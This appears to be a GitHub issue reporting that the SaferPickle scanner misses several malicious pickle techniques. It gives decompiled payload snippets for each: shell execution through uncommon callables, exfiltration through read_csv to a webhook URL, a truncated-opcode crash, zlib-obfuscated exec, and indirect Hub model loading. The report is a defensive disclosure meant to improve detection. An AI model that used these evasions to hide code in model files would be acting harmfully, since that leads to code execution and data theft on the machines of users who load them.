google / google/saferpickle

Multiple False Negative Issues

Open
#18 0 comments 0 reactions 0 assignees View on GitHub
Dominant language
Python
Stars
27
Forks
7
Avg merge
5h 49m
Merged PRs (30d)
1

Description

# SaferPickle: Multiple False Negative Issues

**Tested version:** commit `5de2ca4c74c3ebd6a3291a40ff56249b7495a3d6`

## Summary

During a systematic evaluation of malicious model files on Hugging Face, I identified several categories of pickle-based evasion techniques that SaferPickle fails to detect. Each section below includes a description of the technique and a reference to an actual malicious model file on Hugging Face.

---

## 1. Alternative Execution Primitives

Malicious pickle files can invoke command execution or exfiltration through functions not present in SaferPickle's denylist. Since the set of exploitable callables in the Python ecosystem is large, denylist coverage is inherently incomplete.

**Command execution via `torch.utils.collect_env.run`:**
```python
from torch.library import torch.utils.collect_env.run
_var0 = torch.utils.collect_env.run('rm pwnd.txt')
```

**Command execution via `multiprocessing.util.spawnv_passfds`:**
```python
from multiprocessing.util import spawnv_passfds
_var0 = spawnv_passfds(b'/bin/sh', ('/bin/sh', '-c', 'echo bypass'), ())
```

**Command execution via `mlflow.projects.backend.local._run_entry_point`:**
```python
from mlflow.projects.backend.local import _run_entry_point
_var0 = _run_entry_point('echo "You\'ve been pwned."', '.', '', '')
```

**Data exfiltration via `pandas.io.parsers.readers.read_csv`:**
```python
from pandas.io.parsers.readers import read_csv
_var0 = read_csv('https://webhook.site/...?pwned=pandas_bypass')
```

| Sample | HF Model ID | Filename |
|--------|-------------|----------|
| `torch.utils.collect_env.run` | ias-d-kt/ias-1 | indirect_import.pkl |
| `spawnv_passfds` | aakashjapi/tmp | poc_spawnv_passfds.pkl |
| `_run_entry_point` | agentops/text-generation | pytorch_model.bin |
| `read_csv` | Tanaka53814545/pickle-model-test | pytorch_model.bin |

---

## 2. `zipfile` Exception

PyTorch's custom Zip extractor differs from the standard Python `zipfile` module used by SaferPickle. A crafted model can exploit this gap to crash SaferPickle via a `BadZipFile` exception while PyTorch loads it normally. Prior research by Liu et al. ([arXiv:2508.19774](https://arxiv.org/abs/2508.19774)) describes this technique.

SaferPickle crashes with:
```
zipfile.BadZipFile: File name in directory '…/data.pkl' and header b'…/data.pal' differ.
```

| Sample | HF Model ID | Filename |
|--------|-------------|----------|
| zipfile crash | HFscanner1231/malware_opcode_frequencies | does_not_scan_but_opens_in_torch.pth |

---

## 3. `pickletools` Exception

Appending a truncated opcode (e.g., `BINUNICODE` without its required length prefix) after the malicious payload causes a `ValueError` in `pickletools.genops`. The `pickle` module executes opcodes sequentially, so the payload runs at `REDUCE` before the corrupted tail is reached.

```
0: 80 PROTO 2
2: 63 GLOBAL 'builtins exec'
17: 28 MARK
18: 58 BINUNICODE "\nf = open('my_file.txt', 'a'); f.write('Malicious'); f.close()"
85: 74 TUPLE
86: 52 REDUCE
87: 58 ??? ← truncated opcode crashes pickletools
```

This technique was first reported by [ReversingLabs](https://www.reversinglabs.com/blog/rl-identifies-malware-ml-model-hosted-on-hugging-face) as an evasion against PickleScan, which has since been patched.

| Sample | HF Model ID | Filename |
|--------|-------------|----------|
| pickletools crash | kemalik/42-eicar | model_broken_X.pkl |

---

## 4. Obfuscation

Malicious pickle files that compress the payload with `zlib` are not detected. The `zlib.decompress` call itself is not on the denylist, and the compressed blob hides the actual malicious code (e.g., `os.system`, `subprocess`) from pattern matching.

```python
from zlib import decompress
_var0 = decompress(b'x\xda\xbdWmk\xe3F\x10\xfe...(truncated)')
_var1 = exec(_var0)
```

| Sample | HF Model ID | Filename |
|--------|-------------|----------|
| zlib obfuscation | coldwaterq/sectest | coldwaterq_inject_calc.pt |

---

## 5. Indirect Model Loading

A pickle file loads another malicious model from the Hugging Face Hub during deserialization. Hub downloads are common in normal inference code but unusual during model loading.

```python
from transformers.models.auto.auto_factory import getattribute_from_module
from transformers.models.auto.tokenization_auto import AutoTokenizer
_var0 = getattribute_from_module(AutoTokenizer, 'from_pretrained')
_var1 = _var0('zpbrent/reuse')
```

This technique was originally introduced by [JFrog](https://jfrog.com/blog/jfrog-and-hugging-face-join-forces/).

| Sample | HF Model ID | Filename |
|--------|-------------|----------|
| Indirect model loading | protectai-bot/transfo-xl | vocab.pkl |

Contributor guide

Open the contributing guide

Assessment

This issue has not been assessed yet.

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.